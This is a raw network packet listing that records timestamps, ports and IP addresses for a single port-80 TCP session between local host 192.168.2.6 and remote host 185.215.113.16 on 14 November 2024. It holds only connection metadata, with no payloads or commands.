Nov 14, 2024 17:24:39.091804028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.091811895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091811895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.091949940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.092382908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092397928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092408895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092420101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092432022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092442989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092447042 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.092453957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092466116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092478037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092489958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092500925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.092504025 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.092516899 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.092609882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.093152046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.093163013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.093173981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.093214035 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.093388081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.093399048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.093410015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.093472004 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.100218058 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.107961893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.107971907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.108000994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.108017921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.108026981 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.108082056 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.108309984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138473034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138641119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.138674021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138686895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138746977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138757944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138767958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138773918 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.138781071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.138793945 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.138865948 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.139190912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139202118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139211893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139223099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139234066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139245033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139251947 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.139251947 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.139257908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139269114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139324903 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.139324903 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.139902115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.139914036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140003920 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140016079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140026093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140028954 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.140037060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140047073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140048027 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.140058994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140069962 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.140108109 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.140868902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140881062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.140949011 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.173127890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173141956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173152924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173202991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.173397064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173407078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173532009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173542976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.173562050 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.173619032 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.174664021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.174751997 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.201589108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.201607943 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.201617002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.203736067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.205229044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.205298901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.205310106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.205323935 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.205362082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.205640078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.211801052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.211862087 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.211864948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.211877108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.211977005 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.212040901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212050915 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212060928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212071896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212084055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.212131023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.212452888 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212465048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212475061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212486029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212495089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212501049 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.212507010 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212517977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212523937 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.212528944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212542057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.212543964 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.212627888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.213215113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213226080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213237047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213249922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213260889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213270903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213278055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.213278055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.213282108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213291883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213301897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213310957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213316917 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.213323116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.213330984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.213366032 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.214123011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214134932 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214144945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214155912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214165926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214174032 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.214176893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214186907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214199066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214207888 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214207888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.214217901 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.214220047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214230061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.214243889 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.214263916 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.215023041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215034962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215044975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215055943 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215065956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215075970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215078115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.215086937 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215096951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215107918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215109110 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.215118885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215118885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.215131044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215157032 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.215203047 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.215959072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215970993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215981007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.215992928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216003895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216010094 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.216016054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216026068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216037035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216042995 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.216047049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216058969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216068983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216074944 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.216093063 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.216727972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216739893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216749907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216758966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.216770887 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.216784000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.225172997 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.225210905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.225222111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.225241899 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.225291967 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.225522041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.225534916 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.225543022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.225699902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.255731106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.255747080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.255752087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.255878925 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.255983114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.255994081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256004095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256012917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256072998 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.256072998 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.256392002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256402016 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256411076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256453037 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.256633997 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256650925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256660938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256670952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256680012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256690025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.256716967 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.256742954 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.257293940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257303953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257313013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257318020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257327080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257337093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257345915 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257353067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.257356882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257365942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.257389069 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.257431030 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.258059978 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.258070946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.258080006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.258085966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.258183002 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.291264057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291374922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291388035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291426897 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.291546106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291558981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291587114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291599989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.291614056 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.291671038 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.292068005 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.292130947 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.322196960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.322237015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.322247028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.322313070 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.323127031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.323201895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.323211908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.323266983 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.323349953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.323626041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.323637009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.323733091 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.329236984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329274893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329286098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329336882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.329482079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329493046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329504013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329515934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329543114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.329562902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.329767942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329777956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329870939 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.329910994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329921007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329940081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329951048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329962015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329965115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.329972029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.329978943 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.330022097 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.330439091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330451012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330461025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330471039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330482006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330491066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330497026 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.330502033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330513000 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330523014 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.330529928 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.330578089 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.331084013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331235886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331248045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331258059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331267118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331276894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331286907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331295967 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331300020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.331305981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331330061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331338882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.331338882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.331341982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331352949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.331371069 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.331403017 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.332170963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332181931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332190990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332201004 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332210064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332221031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332231045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332237959 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.332242966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332247972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.332253933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332264900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332268953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.332274914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.332289934 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.332370996 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333059072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333070993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333080053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333090067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333101034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333112955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333120108 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333120108 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.333122015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333132982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333142996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333153009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.333162069 CET	49830	80	192.168.2.6	185.215.113.16
